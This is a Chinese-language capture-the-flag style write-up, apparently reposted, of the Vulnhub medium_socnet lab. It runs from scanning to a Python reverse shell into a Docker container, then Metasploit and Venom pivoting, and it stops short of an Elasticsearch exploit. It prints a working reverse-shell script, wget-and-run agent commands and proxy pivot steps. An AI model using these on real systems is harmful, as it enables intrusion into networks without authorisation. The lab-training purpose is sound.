漏洞靶场实战-Vuluhub medium_socnet

Posted OceanSec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞靶场实战-Vuluhub medium_socnet相关的知识,希望对你有一定的参考价值。


文章目录

下载安装

Vulnhub 是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地 VM 打开即可,但是很多靶场不兼容 Vmware 比如本次用的靶场就不兼容,所以推荐 VirtualBox

本次复现靶场下载地址

下载的是一个 ovf 后缀的文件,打开 VirtualBox,导入

导入完毕后根据需求编辑虚拟机设置

配置 VB 和 VM 的网络链接

因为 Kali 是在 Vmware 上的,还需要与 VirtualBox 的靶机通信

  1. 将 VirtulBox 靶机网络配置修改成

  2. Vmware 网络设置,添加一个网卡,设置桥接模式,(对应eth0网口)使用VirtualBox 的网卡,保证能连接到 VB

    还要保证 Kali 可以联网现在工具,另一个网卡设置为 NAT 模式

  3. 设置 Kali 配置文件

    vim /etc/network/interfaces
    

    添加dhcp:

    auto eth1
    iface eth1 inet dhcp
    

    保存后重启网络

    service networking restart
    

    使用 ip a 查看

Kali ip:192.168.56.102

实战

1.主机发现

arp-scan -l

根据 VirtualBox 的 mac 地址也能确定 101 就是靶机

端口扫描与服务发现

nmap -sS -sV -T4 -A -p- 192.168.56.101

存在一个 ssh 端口和一个 5000 http 服务

Werkzeug 是一个专门用来处理 HTTP 和 WSGI 的工具库,可以方便的在 Python 程序中处理 HTTP 协议相关内容

所以可以判断 5000 端口是一个 python 框架的 web 服务

访问主页,通过插件也可以佐证

2.第一台主机漏洞利用

现在的思路

  1. web 信息收集然后漏洞利用
    1. 目录扫描
    2. Python ssti 漏洞
  2. ssh 端口爆破

目录扫描

python .\\dirsearch.py -u http://192.168.56.101:5000/

是一个代码测试页可以执行代码,尝试反弹 shell,推荐一个反弹 shell 的网站 https://www.revshells.com/

拿shell

方法一:NC监听

因为这里是直接执行代码,所以使用以下代码即可

import socket,os,subprocess
RHOST='192.168.56.102'  # Change it
RPORT=4444  # Change it
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  # 创建一个TCP-socket对象
s.connect((RHOST,RPORT)) 	# 连接攻击者
os.dup2(s.fileno(),0)		# 复制链接符
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])  # 创建子进程调用SHELL

在 Kali 上监听 4444 端口,将上面的粘贴到网页代码,点击 test code,接到 shell

执行 whoami 命令还是一个 root 权限用户,但是目录下有个 Dockerfile,推测可能是在 docker 容器中

判断是否是为 docker 环境

  1. 检查根目录下是否存在.dockerenv文件

  2. 检查 /proc/1/cgroup 是否存在含有 docker 字符串

    cat /proc/1/cgroup 
    

  3. 检查是否存在 container 环境变量
    通过env \\ PATH 来检查是否有docker相关的环境变量,来进一步判断

  4. 其他检测方式

    如检测mount、fdisk -l 查看硬盘 、判断PID 1的进程名等也可用来辅助判

Metasploit 中的 checkcontainer 模块、(判断是否为虚拟机,checkvm 模块)该模块其实进行了这些操作

也就是说我们现在拿到的是一个 docker 容器内的用户 shell,不是真实的服务器,所以接下来就要尝试横向移动是在不行再容器逃逸

方法二:MSF shell

为了方便操作,这里反弹一个 shell 到 MSF,首先在 kali msf 开启监听(其实就是代替 nc)

msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_bash
msf6 exploit(multi/handler) > set lhost 192.168.56.102
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > exploit 

靶机还是刚才的脚本就可以,整理好的 msf payloads

这样是实现了 Linux 环境下无文件上线 CS,Windows 的话用 powershell 就行

但是需要注意的是这是一个 Shell Banner 也就是只有一个 shell 不能用 msf 的其他功能,需要将它升级一下

command-shell-to-meterpreter

1.在 shell 中执行 backgroup 命令退回 msf 主页

2.使用命令提升 shell

sessions -u id

执行完毕后可以看到多了一个 session

还有其他方法:链接

再进入 session 中即可,顺便测试下刚说的 checkcontainer 模块

meterpreter > run post/linux/gather/checkcontainer 

横向移动

**方法一:MSF

1.首先进行信息收集,当然我这里直接用的 msf 的命令,手工的话可以看这篇文章

  • 系统信息和路由表信息

  • 探测内网存活

    run post/multi/gather/ping_sweep RHOSTS=172.17.0.0/16
    

    发现三个存活主机

2.搭建代理进行内网扫描

run autoroute -s 172.17.0.0/16
run autoroute -p

新版中可以用 addroute 命令,用法发生了变化,使用这个命令来查看用法

info post/multi/manage/autoroute

这样的话就添加了一条路由,但是仅这样是不行的,还有添加代理

background 之后使用 socks4a 模块

use auxiliary/server/socks_proxy
set SRVPORT 10044

我用的是 msf6,msf 的话可以使用

use auxiliary/server/socks4a

3.修改配置文件

vi /etc/proxychains.conf

然后进行扫描

proxychains nmap -sT -Pn 10.0.0.2

但是我这里不知道什么原因失败了,有篇文章介绍到可以上传单文件版 nmap 但是我没有找到 https://www.anquanke.com/post/id/204066#h3-7

方法二:工具代理

只能手动使用工具:Venom 进行代理

1.使用命令进行内网探测

for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done

2.搭建代理

使用这个工具,项目地址:https://github.com/Dliv3/Venom/releases

首先在 kali 启动服务端

./admin_linux_x64 -lport 9999

启动后在 kali 上使用 python 开启临时的 http 服务,然后在目标机器上通过 wget 命令将客户端下载到本地

python -m http.server 8080

进入 shell 中,执行以下命令

wget http://192.168.56.102:8080/agent_linux_x64
chmod +x agent_linux_x64 
./agent_linux_x64 -rhost 192.168.56.102 -rport 9999    #启动客户端

服务端也连接成功,获取到了一个会话,然后我们进入这个会话,然后开启一个 socks 代理

开启代理后就可以对内网机器进行操作

3.代理工具还是 proxychains,首先修改配置文件

vim /etc/proxychains.conf

依次探测内网主机

proxychains nmap -sV -sT 172.17.0.3

3.第二台主机漏洞利用

漏洞发现

发现内网主机 172.17.0.3 发现开放了 9200 端口,elasticsearch 服务,是一个基于 Lucene 的搜索服务器,使用 Java 语言开发的

简单使用命令访问下看看啥回显,找到版本号1.4.2

搜索漏洞

searchsploit	elasticsearch

通过 MSF 搜索 EXP

use exploit/multi/elasticsearch/search_groovy_script 

确定存在漏洞

漏洞利用

就用第一个脚本,脚本位置在

/usr/share/exploitdb/exploits/linux/remote/36337.py
proxychains python2 36337.py 172.17.0.3

又又又遇到问题了,人麻了,而且问题越扯越多,弃坑,用的环境太复杂了,因为我的靶机在 virtualBox 设置的仅主机模式所以不通外网而这里需要请求 dns 直接寄这就是 virutalbox 和 VMware 都用的麻烦,kali 不知道咋回事还巨卡

像下图这样才可以,我这里不通网不行

可以看底下的两篇文章,很棒

参考

以上是关于漏洞靶场实战-Vuluhub medium_socnet的主要内容,如果未能解决你的问题,请参考以下文章

漏洞靶场实战-Vuluhub medium_socnet

漏洞靶场实战-Vuluhub medium_socnet

Me-and-My-girlfriend-1靶机实战-vuluhub系列(完结)

raven靶机实战(linux-udf提权)-vuluhub系列

SQL注入漏洞靶场实战-1

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)